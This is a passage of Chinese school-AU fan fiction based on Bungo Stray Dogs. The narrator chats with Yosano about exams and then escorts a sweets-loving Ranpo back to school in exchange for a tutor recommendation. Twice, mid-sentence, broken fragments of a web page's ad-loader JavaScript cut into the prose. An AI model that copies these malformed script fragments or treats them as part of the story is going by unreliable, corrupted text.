刚刚被他拿尖嘴钳在手上比划半天的我对他的心理阴影仍未消退,立马改口:“不不不,刚刚叫错了、安吾学长!你是超帅的安吾学长!”我朝他比了个大拇指。 “从今天开始,你就是我心中最帅的学长!” 这时,坂口安吾放在办公桌上的手机响了。他走过去一看,神色一僵。 “怎么了?学长?”我探头探脑。 “闹铃。”他冷酷地掐灭屏幕,“该上课了。” 啊这。 一个午休就这么过去了?我惊叹地捏起地上的拉环扔进垃圾桶。你可真费时间啊。 “你快去上课吧。”他捏了捏眉心,这时我恍然发现他的一些细微动作和种田老师的习惯很像。 “那我走了。”我小心翼翼地看着坂口安吾,“今天中午……谢谢学长了。” “中午”好像触发了什么关键词,他终于破防了,面色狰狞地看过来,发现情况不对的我立马蹿到门外。还听见他喃喃自语:“一会要去还工具箱——我中午不是要处理完这沓文件吗?它们怎么空空的……” 为了我的生命安全,先走一步了安吾学长! 下午放学后,我坐在医务室,心有余悸地和与谢野晶子讲述着我那场惊心动魄的拉环之战。 与谢野晶子笑弯了腰:“哈哈……那个学生会的,被你折腾得这么惨……” “不是折腾啦,我们这是友好相助。”我立马提出抗议。 “好好。”她擦了擦眼角的泪花:“其实你可以直接来找我。” 我沉默了一瞬,说:“不,砍掉小拇指再使用异能力这种事还是算了。” 我不想沦为你们中二病的牺牲品。 代价太高。 与谢野晶子泄气地把自己扔进靠椅里,说:“本以为你和贤治这次出行会受什么伤,我都做好了“治疗”的准备,结果——” 她抬眸,我下意识挺直了腰。她挑剔的视线在我身上来回扫了几遍,露出几分满意的神色,却用遗憾的语气说道:“你们把自己保护得很好嘛。” 我乖巧地说:“当然了,生命最重要。” ——骗你的,我和贤治差点埋滑坡底下。 这句话让与谢野晶子更加满意,她勉强放过了我不回她消息的错失。 我想起风雨中背起我狂奔的少年,在滑坡停下的那瞬间我真的有种他能够呼风唤雨的错觉。那种悸动时至今日也令我难以忘怀。 我心中踌躇一下,还是问出声:“晶子,贤治的异能力……是「无畏风雨」没错吧?” 我也不知道我为什么会如此问,也许是鬼使神差,也许是那场天灾带来的震撼实在太大,也许是死里逃生的经历让我有些神经错乱。 “是啊。”她随意地答道,“饥饿状态下会变大力气。” 我居然松了口气。 看来那次滑坡突然停下的确是意外,纯粹是我和贤治运气好。 想到这,我为自己刚刚的问题感到好笑。 哎呀,居然差点被贤治当时吼的一声「无畏风雨」给唬住了。其实连异能力都对不上吧。怎么会有这种错觉,觉得贤治真的有异能力? 我摇摇头,果然是在横滨高校待久了,差点被中二病们同化了。 “你不是一直不关心这些 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?”与谢野晶子瞥我一眼,“怎么突然问我这个。” “啊。”我含糊道,“运气太好了,我以为是人造奇迹呢。” “哈哈……不说这个了,你的月考怎么样?”与谢野晶子转头问道。 每天和我在医务室自习的与谢野晶子,比其他人更了解我的对月考的在意,此时也不禁好奇起我的排名。 还是逃不过这个话题。我小声叹了口气,郁闷道:“不太好啦。” “嗯?”她意外地问,“哪科不行?” 我仔细想想:“理科不行。”文科可以靠背书解决大部分问题,我的记忆力还算好,背东西很快。但理科就很难应付。 “啊,那就以后学文综吧。”她不甚在意地说,语气中有安慰的成分。 “文综也要考数学。”我更郁郁。 与谢野晶子挑眉,说:“我倒认识一个人可以辅导数学。不过他现在加入社团了,恐怕没空。” 我学着她的样子挑挑眉,看起来有点幼稚:“谁啊?” “你见过的。上次来侦探社时那个问话的人,国木田独步。他中学时建立了一个数学社团,专门帮同学补习,效果很好。” 与谢野晶子耸耸肩,“不过后来他就退社加入侦探社了,再也不帮人补习。” “这样啊。”我有些遗憾,“都过去这么久,肯定没戏了。” “嗯,那家伙不知道在数学社团受了什么刺激,现在对‘补习’两个词过敏。” “我只好找别人补课咯——”我伸了伸懒腰。 “其他方面我帮不上忙,生物有问题可以来找我。” “好的,谢谢晶子。” 与谢野晶子见我伸完懒腰就朝医务室门外走去,不同于往常勤奋的形象,她有些稀奇:“你今天不留下来自习了?” 我果断道:“不要。” 往日勤快只是想要应付月考,又不是我真心热爱背书。月考都结束了,我难道能有什么受虐倾向吗。 “为什么?” “背书背书、越背越输。”我泪流满面,“月考完了,先浪几天,改日再战!” 与谢野晶子:“……”死孩子哪听的歪理。 我刚出门,思考两秒又把头探回去:“学姐,我出校去趟甜品店,你吃什么?” “我不爱吃甜食,不用带。最近校外不太平,早点回来。” 我挥挥手,溜之大吉。 甜品店。 我照例买了两种口味的大福,准备分给小银一个。想到我没有泉镜花的联系方式,干脆把整个柜台拍了照发给绮罗子,问她们吃不吃,自己坐在店里吃着甜筒冰激凌等待回复。 一个人安静下来,我放任意识陷入有一搭没一搭的沉思。在知识明显断层的情况下自习的效果实在不大,是这次月考已经能看出来的事实,补习是刻不容缓的事情。开学就想过补课,却一直找不到合适的人。那么现在,我要去哪里找可以给我补课的老师。 这时,我看见窗外闪过一个棕色披风。这一抹颜色在五光十色的街道中十分显眼,和新一经常念叨的侦探服有点像。 43.洞悉之眼 定睛一看,是一个带着猎鹿帽,穿着侦探披风的少年,披风里隐约可见横滨高校的校服,应该是趁着放学遛出来玩的同学。他眯着眼睛,神色不愉地站在路口边,隔着人群也能想象出他郁闷的表情。是迷路了吗?不,又不是所有人都像我一样是中途转学过来的,怎么可能会在学校周边迷路——何况就算是我也早已对这片地带了如指掌。 “小姐,您的甜品好了。”服务员的声音把我的注意力吸引回来,我转头看见她双手将打包好的大福递过来。我朝她露出一个欢快的笑容,说道:“谢谢你啦。” 她愣了一下,白皙的脸顿时浮现起红晕,捂着嘴回到了柜台,和旁边的服务员私语几句。没过一会,她送来一个蛋挞说是本店赠品,我神色如常地接过道谢。见状,前台的几人露出陶醉的神情。 我眨眨眼。 嘿嘿,肯定是我凭借高校生的超高素质轻松俘获了甜品店小姐姐。 正当我处于得意的心情时,余光瞥见他们看我的眼神突然凝滞一瞬,然后笑容慢慢消失。 我:? 隐隐有不妙的预感。 前台的服务员目光落在我身上从未移开,又讨论起来,脸上竟然有担忧之情。几个客人惊奇又复杂目光也隐晦地瞥过来。我似乎一下子成为了店内的焦点,却不知道原因。 我有点懵,摸摸我的脸确定并没有什么脏东西。发生什么了? 最后一个男服务生被几个人推出来,他无奈地走过来弯腰问道:“小姐您好。您是横滨高校的学生?” “是的。”我犹疑道。这很好认,毕竟我是穿着校服出来的。 “那、”他欲言又止,“您……认识后面那个人吗?” 我:?? 我背后?这是什么恐怖故事。我背后是玻璃啊,窗外是川流不息的街道,怎么可能有人……等等。 想到什么事情,我猛地回头,动作幅度太大甚至差点撞上玻璃,接着眼前诡异的一幕让我瞳孔地震。 我身后的窗外,那个穿着侦探披风的少年不知何时到了我的身后,当着街上众人和店内客人的面,他正毫无芥蒂地死死扒在玻璃上,五官被压成一块扁平的图案,紧紧盯着我手上的甜筒,见我转头,嘴里一开一合地说着什么。 这一幕怎么看怎么恐怖啊……!怪不得店员和客人一直在看这边! 我惊恐地看着那个像魔鬼鱼一样贴着玻璃的鬼畜少年,因为店内的音乐太吵了,我什么也听不清。 “您是否被骚扰了?”我陌生的反应被男服务生收入眼底,他的面容从欲言又止变成严阵以待。 我犹豫一下,还是说:“不,我想不用……”都是校友,也许他有要事相求?我拿着大福起身,不忘对他礼貌点头:“感谢您,我出去看一下他。” 把背后一束束担心的目光甩开,怀揣着懵逼之情走出甜品店,我满心疑惑地想着这位校友有什么事情。倒是不担心他图谋不轨,一是没人会在火爆的甜品店前动手——还有几个店员虎视眈眈地看着他;二是,受新一影响,下意识觉得喜欢侦探的人不是什么坏人。 “同学?”我走到他身侧,却突然不太确定我的称呼是否正确。他真的是高校生吗?这个人长着一张娃娃脸,头发压在那顶猎鹿帽下,有几根黑发微微翘起,眯着的眼睛明明应该像狐狸,我却莫名幻视小黑猫。 可能是有条野学长在先吧……条野学长简直是狐狸成精。 “喂,你是刚转学的一年生吧?”那个人眯起眼睛看着我,明明是初次见面,却用熟稔的语气说道:“请名侦探吃芒果冰激凌,再把名侦探送回学校吧!” “名侦探?”我有些惊讶地看着黑发少年,这熟悉的称谓让我心中冒出一个熟悉的名字:“请问你是江户川学长吗?” 江户川乱步,当初绮罗子口中的“脑力派”——连太宰学长都只能遗憾位居“摸鱼派”。神户川最出名的名侦探,据说能一眼勘破案件,虽然是高校生却经常被警方邀请破案。事实上,就连远在东京的新一也是他的粉丝,追随他的脚步成为了东京的新人侦探。 啊……但,江户川乱步可是高校三年生的学长啊!比太宰还大一届,和红叶织田他们一届诶。真的是我面前这位吵着吃冰激凌的眯眯眼吗?! “没错!就是本侦探,拥有世界上最强大的异能力「超推理」的乱步大人!”江户川乱步洋洋得意地吐出一大串话,期待地重复道:“请名侦探吃冰激凌吧!” ……我早该料到。横滨高校能有什么正常人。这种甚至能帮助警方破案的能力,肯定不是异能力这种光靠嘴皮子耍帅的不靠谱东西啦。 我顿了顿,还是对着尊敬的学长克制住吐槽的欲望。礼貌地说:“我可以请乱步学长吃冰激凌,但理由是什么?” 如果新一在这,肯定会摇着我的肩膀大声让我请乱步学长吃到饱为止吧?我当然愿意请客,凭此可以获得下次在新一面前炫耀的资本,又可以认识乱步学长,何乐不为呢?但我很好奇,这个少年为什么会如此自信地让我请客。 “理由吗?”他拖长了声音,眼睛却从没离开过我手中的冰激凌:“那么,作为回报,我给你介绍补课老师,怎么样?” 我愣住。 补课老师?不可否认,这正是我目前最头疼的事情。 他从何得知?我只是在看风景时心中闪过这个想法,并没有用手机查看过分数,况且身边朋友都不一定知道我想补课的想法,唯一了解的人可能是晶子,她可不是会宣扬的人。而面前的少年甚至和我素不相识…… “这种事情我一眼就能看出来。”他眯着眼睛满意地看着我愣住的表情,“惊讶吧?”语气中不乏骄傲自得。 真是了不起的推理能力。 我心中惊叹。 “实在是惊人的才能。如果是这样……请稍等,乱步学长。”我走进甜品店,要了一份芒果冰激凌。想到还没有回复的绮罗子,干脆买了三个小蛋糕,绮罗子、直美和镜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 花一人一个。打算一会送到侦探社,顺便感谢一下几位前些日子的关心。 服务员一边答应,一边用眼神询问我。 我瞥着毫无自知之明厚着脸皮跟上来的江户川乱步,他正兴致勃勃地看着招牌上琳琅满目的蛋糕,没有注意到这边。我打开手机付钱,用气音回答他:“是学长啦——我认识的,谢谢关心。” 他点点头,表情轻松了很多。不一会就做好了冰激凌,我接过来递给江户川乱步。又提起打包的三份蛋糕,走出甜品店。 吃到冰激凌的江户川乱步明显乖巧了很多,满足地拿着冰激凌不再说话。我领着他慢慢走回学校,暗暗观察着这位没有任何戒心就跟着我走的名侦探。 跟错人一头扎进商业街,被我急忙扯着披风拽回来;饶有兴趣地看着街头的魔术表演,又瞬间兴致缺缺收回目光;路过餐饮店的排风口,被吹出的热风吓了一跳,捂住猎鹿帽嘟囔着快步跟上我;看着店铺五光十色的招牌出神,连踩三四个人招来骂声一片,拉了一波仇恨值后若无其事地回到我身边…… 我心中浮现起莫名的熟悉感,仿佛曾经接触过这个人一样。 他的常识几乎为零,像个误入尘世的小孩,在街上为了满足好奇心乱转,却总捅下不轻不重的娄子。 我放缓脚步。 江户川乱步正目不转睛地观察着远处的街灯,猝不及防撞到我后背,有些不满:“喂……” 我朝他伸出手。 他的声音戛然而止,有些错愕地看着我朝上的手心。 “让我牵着你吧,乱步学长。”我耐心地说,夹杂着几分无奈:“你太容易走丢了。” 江户川乱步难得睁开双眼,翠绿的眼睛犀利地看我一眼,澄澈清淡的绿如同诡刃猝不及防地直直刺入心底。那一瞬间,我有种被他戳破所有心事的错觉。 只是一瞬间,他就重新眯起眼睛,撇着嘴握住我的手,不满地说道:“真是麻烦……” 想要拉住他。 告诉他不必迷茫,不必无措。 在这个世界,总有人愿意坚定地牵住你的手。 意料之外的,江户川乱步真的乖乖跟我走了一路,专心吃着冰激凌,没有再搞出什么乌龙。即使是这样,随时警惕他的我也已身心俱疲。 到了高校门口,我如释重负地松开手。他愉快地挥挥手:“今天谢谢你了,名侦探很满意——” “乱步学长说过的话,没有忘记吧?”我侧目提醒。 “当然了。”他把回味着芒果冰激凌的味道,报出一串地址,“明天下午放学来这里。名侦探已经想好了你的去处。” 看着他离开的背影,透露着满足的气息。我怀着将信将疑的心情离开。 心中无数次闪过那一瞬间锐利的翠色眼睛。 足够纯粹的颜色、仿佛能够看透了世间万物运行法则的洞悉之眼。天上地下、唯我独尊的气质。 我想我知道那阵熟悉感来自哪了。